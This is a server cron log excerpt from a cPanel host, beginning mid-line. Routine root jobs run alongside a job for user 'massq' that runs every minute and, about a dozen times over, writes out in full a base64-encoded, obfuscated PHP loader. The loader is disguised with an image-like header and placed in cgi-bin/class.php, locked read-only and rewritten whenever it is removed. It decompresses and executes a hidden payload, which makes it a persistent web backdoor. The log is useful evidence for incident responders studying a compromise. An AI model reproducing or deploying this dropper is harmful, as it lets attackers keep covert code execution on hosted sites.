ZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:03:01 server CROND[5188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:03:01 server CROND[5190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:03:01 server CROND[5189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:04:01 server CROND[5642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:04:01 server CROND[5643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:04:01 server CROND[5644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:05:01 server CROND[6044]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:05:01 server CROND[6046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:05:01 server CROND[6049]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:05:01 server CROND[6053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:05:01 server CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:05:01 server CROND[6052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:05:01 server CROND[6054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:05:01 server CROND[6050]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:06:01 server CROND[6892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:06:01 server CROND[6893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:06:01 server CROND[6894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:07:01 server CROND[7336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:07:01 server CROND[7337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:07:01 server CROND[7338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:08:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:08:01 server CROND[7814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:08:01 server CROND[7815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:09:01 server CROND[8259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:09:01 server CROND[8258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:09:01 server CROND[8267]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 09:09:01 server CROND[8261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:10:01 server CROND[8667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:10:01 server CROND[8668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:10:01 server CROND[8673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:10:01 server CROND[8672]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:10:01 server CROND[8676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:10:01 server CROND[8674]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 09:10:01 server CROND[8679]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:10:01 server CROND[8675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:11:01 server CROND[9517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:11:01 server CROND[9518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:11:01 server CROND[9519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:12:01 server CROND[9910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:12:01 server CROND[9911]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:12:01 server CROND[9912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:12:01 server CROND[9913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:13:01 server CROND[10297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:13:01 server CROND[10298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:13:01 server CROND[10299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:14:01 server CROND[10802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:14:01 server CROND[10805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:14:01 server CROND[10803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 09:15:01 server CROND[11194]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 09:15:01 server CROND[11195]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
